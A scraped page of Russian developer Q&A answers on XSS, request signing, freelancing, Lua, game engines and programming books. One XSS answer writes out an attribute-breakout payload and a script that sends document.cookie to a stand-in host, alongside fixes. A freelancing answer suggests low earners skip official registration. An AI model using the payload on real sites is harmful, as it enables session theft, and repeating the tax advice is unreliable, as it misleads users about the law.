Задать вопрос
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Как обезопасить сервер при получении POST?

    Adamos
    @Adamos
    Обычное дело - добавляете подпись: sha256(собранные в строку данные + известный обеим сторонам ключ). И проверяете ее, отбрасывая прочие запросы.
    У меня, например, хостер (Таймвеб) своими роботами регулярно щупает мои скрипты, к которым происходят внешние обращения. От платежных систем, например. При том, что ссылок на них нигде нет. То ли ботов ищут, то ли еще что. Естественно, такие запросы обрабатывать - себе дороже.
    Ответ написан
    7 комментариев
  • Как смотреть ленту, в которой вопросы, на которые я подписан?

    yarkov
    @yarkov
    Помог ответ? Отметь решением.
    5b697fe0d7b2b950986877.png
    Ответ написан
    Комментировать
  • Фрилансеры, как вы работаете?

    butteff
    @butteff
    Раз в тысячу лет заправляю свитер в носки
    Всем пофиг на мизерные доходы фрилансеров. Поэтому можете не оформляться и ничего не будет.

    Оформляйтесь тогда, когда Вы уверенно зарабатываете достаточно. Если никто не настучит, никто и не докопается за Ваши пару сотен долларов.


    Но, если Вы все же зарабатываете деньги нормальные, тогда:


    Оформляться надо, если Вы возьмете крупный заказ и заказчик будет отчислять Вам деньги с расчетного счета, тогда Вы должны быть оформлены, чтобы заказчик платил не со своих личных денег (уплатив налог), а со счета фирмы.


    Есть еще вариант, работать по договору подряда, тогда вы выступаете как подрядчиком и заказчик уплачивает сам за Вас налог (ну или с Ваших денег, но налоги — геморрой заказчика уже). Такой вариант мало кто любит, но он есть.


    Если работаете один, работаете честно, долги брать и кидать кого-то не хотите — оформляйте ИП на усн в 6%. Помните, что отвечаете всем своим личным имуществом, если что. Если деньги крупные и не все гладко — то ООО, но там налоги не малые и штрафы серьезнее.


    В помощь будет e-kontur.ru или moedelo.org


    И еще, прописывайте в договоре, что актом сдачи-приемки заказа является зачисление денег на Ваш расчет счет. Чтобы уже не докопались если что.


    Удачи
    Ответ написан
    5 комментариев
  • Как работать с объектами JSON в Lua?

    JaxxDexx
    @JaxxDexx
    В Lua массивы индексируются с 1, а не с 0
    print("conditions:", data['weather'][1]['main'])
    Ответ написан
    Комментировать
  • Актуален ли Lua в 2017? Где используется?

    @ralaton121
    Lua предназначен для встраивания в другое ПО.

    Используется, например, в СУБД Tarantool, в веб-сервере nginx есть модуль для БЫСТРОГО разруливания с помощью Lua, используется для программирования игровой логики в World of Warcraft.

    И много где еще и игровых движках:

    Agen (2D Lua; Windows)
    Amulet (2D Lua; Window, Linux, Mac, HTML5, iOS)
    Baja Engine (3D C++/Lua; Windows, Mac)
    Blitwizard (2D Lua; Windows, Linux, Mac)
    Cafu 3D (3D C++/Lua)
    Cocos2d-x (2D C++/Lua/JS; Windows, Linux, Mac, iOS, Android, BlackBerry)
    Codea (2D Lua; iOS (Editor is iPad app); $14.99 USD)
    Corona (2D Lua; Windows, Mac, iOS, Android)
    Cryengine by Crytek (3D C++/Lua; Windows, Mac)
    Defold (2D Lua; Windows, Linux, Mac, iOS, Android, Web)
    Drystal (2D Lua; Linux, HTML5)
    EGSL (2D Pascal/Lua; Windows, Linux, Mac, Haiku)
    gengine (2D Lua; Windows, Linux, HTML5)
    Glint 3d Engine (3D Lua, Development stopped in November 2011)
    Grail Adventure Game Engine (2D C++/Lua; Windows, Linux, Mac (SDL))
    Irrlicht (3D C++/.NET/Lua; Windows, Linux, Mac)
    Juno (2D Lua; Windows, Linux, Mac)
    Lavgine (2.5D C++/Lua, Windows)
    Leadwerks (3D C++/C#/Delphi/BlitzMax/Lua; Windows; $199.95 USD)
    LÖVE (2D Lua; Windows, Linux, Mac)
    Luxinia (3D C/Lua; Windows)
    MOAI (2D C++/Lua; Windows, Linux, Mac, iOS, Android, Google Chrome (Native Client))
    Polycode (2D&3D C++/Lua; Windows, Linux, Mac)
    Spring RTS Engine (3D C++/Lua; Linux, Windows, Mac)
    Ответ написан
    3 комментария
  • Как работать с dat в lua?

    Lerg
    @Lerg
    Defold, Corona, Lua, GameDev
    Обработка строк в Lua есть. Можно написать парсер.
    Ответ написан
    Комментировать
  • Defold - что можете о нем сказать?

    @Sublustris
    Defold - по сути прямая современная замена умершему флешу.
    Пишу на нём уже второй год, выпустил 6 игр. Нареканий никаких. Шустрый, удобный, очень маленький размер билда!!! Чистый билд под андроид - почти в 5 раз меньше по объёму чем на юнити! Язык разработки - Lua, очень прост в освоении и интуитивно понятен.
    Всячески рекомендую.
    Ответ написан
    Комментировать
  • Можно ли использовать FREE версию движка GameMaker: Studio в коммерческих целях?

    TearOfTheStar
    @TearOfTheStar
    YoYo не требует никаких процентов, если используется нормальная лицензия, даже бесплатная. Для надёжности можно им задать вопрос по почте или в официальном сабреддите (/r/gamemaker/).
    Ответ написан
    Комментировать
  • Какой движок лучше для начинающих - Unity 3D или gamemaker studio 2?

    @benoni
    программер-любтель, иногда подрабатываю фрилансом
    По состоянию на февраль-март 2018 г. из юнити уже віпилили UnityScript (тот который мнгогие считают за джаваскрипт по недоразумению). Т.е. актуален в юньке именно сишарп.

    Game Maker Studio - немного смотрел. Как по-мне он немного кривоват (хотя возможно лучше классического гейммейкера).

    А вообще советую посмотреть на Godot, Corona SDK и Defold. Думаю они получше гейммейкера будут и попроще юньки. :)
    Ответ написан
    Комментировать
  • Хорошие курсы C# для начинающих?

    max-kuznetsov
    @max-kuznetsov
    Главный IT-архитектор
    Если в Москве и платно, то идите на курсы ЦКО "Специалист" при МВТУ им. Баумана. Официальные курсы Microsoft. Например, www.specialist.ru/course/m20483
    Получите официальный диплом гособразца и сертификат Microsoft.

    Если хотите бесплатные и on-line, то идите в ИНТУИТ: www.intuit.ru
    Получите сертификат ИНТУИТ.
    Ответ написан
    7 комментариев
  • Где искать друзей для создания игр?

    FeNUMe
    @FeNUMe
    Друзей так искать бессмысленно, а вот единомышленников и партнеров можно.
    Ну а на вопрос "Где искать?" однозначного ответа нет, есть кучи сайтов/форумов игроделов(например gamedev.ru, gcup.ru), плюс можно поискать на форумах посвященных популярным игровым движкам(unity3d,unreal engine, cryengine итд).
    А вот тут dou.ua/lenta/articles/gamedev-courses собрано немного ссылок на разные курсы по разработке игр, вдруг пригодятся.
    Ответ написан
    Комментировать
  • Где искать друзей для создания игр?

    k12th
    @k12th
    console.log(`You're pulling my leg, right?`);
    Бизнес и друзья вещи несовместные, я много раз это слышал и не без оснований. Но на почве благотворного сотрудничества могут возникать вполне доверительные отношения:)

    Я тоже подыскиваю команду/друзей, можете написать мне в почту.
    Ответ написан
    1 комментарий
  • Где искать друзей для создания игр?

    ThePyzhov
    @ThePyzhov
    iOS Ninja
    То есть это люди, которые изначально готовы дружить

    люди от 20 лет

    Чот как-то это все по детски звучит.

    Время и желания у меня есть

    Для того чтобы подключаться к проекту, обычно нужны еще и навыки.

    А если по сути, то ходите на всякие геймдев митапы, или митапы по вашему стеку технологий которым вы владеете (вы же чем-то владеете?). Там найдете людей, с которыми возможно сможете что-то создать.

    Также можете начать свой проект делать. Собрать небольшую демку, выложить на пару сайтов или в пару групп, людишки подтянутся. А там уже и найдете себе напарников, которые вам понравятся.
    Ответ написан
    2 комментария
  • Какой выбрать современный хороший учебник по C++?

    TrueBers
    @TrueBers
    Гуглю за еду
    То есть сухое краткое структурированное изложение стандарта на русском

    Стандарт учить не нужно. Учить стандарт и учить С++ это 2 разных измерения. Стандарт учат те, кто пишет компиляторы, а прикладному разработчику достаточно знать о его существовании, где его найти в случае какого-то глобального непонимания и недостатка информации в других источниках. Не запаривайтесь ни на каком стандарте, это абсолютно бесполезная трата времени вначале.

    Поменьше воды типа "в старом стандарте было иначе, а именно вот как".

    Без этого никак, новый стандарт никак не отменяет старый. Есть в языке такие фичи, которые добавили в 11 стандарте, а в 14-м уже объявили miss-conception и deprecated, а в 17-м вообще удалили. Поэтому знать, что было в старых стандартах просто необходимо для понимания, почему так происходит.

    Сейчас C++ в таком состоянии, что книги по нему не успевают выходить, как всё меняется. Сейчас столько источников информации, что каждый день выходит миллион статей от официальных лиц комитета. Подпишитесь на ютубе на официальные каналы, на RSS фиды, на блоги не последних людей комитета. Мне сейчас в RSS приходит каждый день столько, что, когда работал в офисе, успевал во время дороги в офис читать по-диагонали лишь основную мысль. Сейчас работаю дома, и ничего не успеваю. Подпишитесь на CppCon, BoostCon, ISOCpp, Скотта Мейерса, Андрея Александреску, Герба Саттера, Бьёрна Страуструпа. Библиотека Boost служит, по сути, испытательным полигоном для стандарта, так что советую и её начать использовать сразу же вместе с основным стандартом. Ознакомьтесь также с Core Guidelines, это как бы набор костылей для вещей, которых пока нет в стандарте, но которые всем необходимы и будут скоро добавлены.

    Книги же, по современному языку, рассчитаны, так или иначе, на тех, кто уже знает старый язык, бессмысленно писать новые книги с нуля, проще описать, что изменилось. Из более-менее полезного материала, читайте Скотта Мейерса Effective Modern C++: 42 Specific Ways to Improve ..., Anthony Williams C++ Concurrency in Action: Practical Multithreading, ну и вышеперечисленных.
    Ответ написан
    Комментировать
  • Какой выбрать современный хороший учебник по C++?

    dio4
    @dio4
    team leader, system engineer, master of sports
    Эндрю Кениг, Барбара Э. Му "Эффективное программирование на C++. Практическое программирование на примерах".
    Ответ написан
    Комментировать
  • Какой выбрать современный хороший учебник по C++?

    saboteur_kiev
    @saboteur_kiev Куратор тега Книги
    software engineer
    "Содержит огромное количество воды и лирических отступлений, а это лишнее время."

    Это не вода, а ассоциации, которые помогают понять материал.
    Учебник в принципе не может быть сухим - он обязан быть разбавленным рассуждениями.

    Если вам нужен сухой современный материал - читайте официальную документацию по функциям, типа msdn.
    Ответ написан
    1 комментарий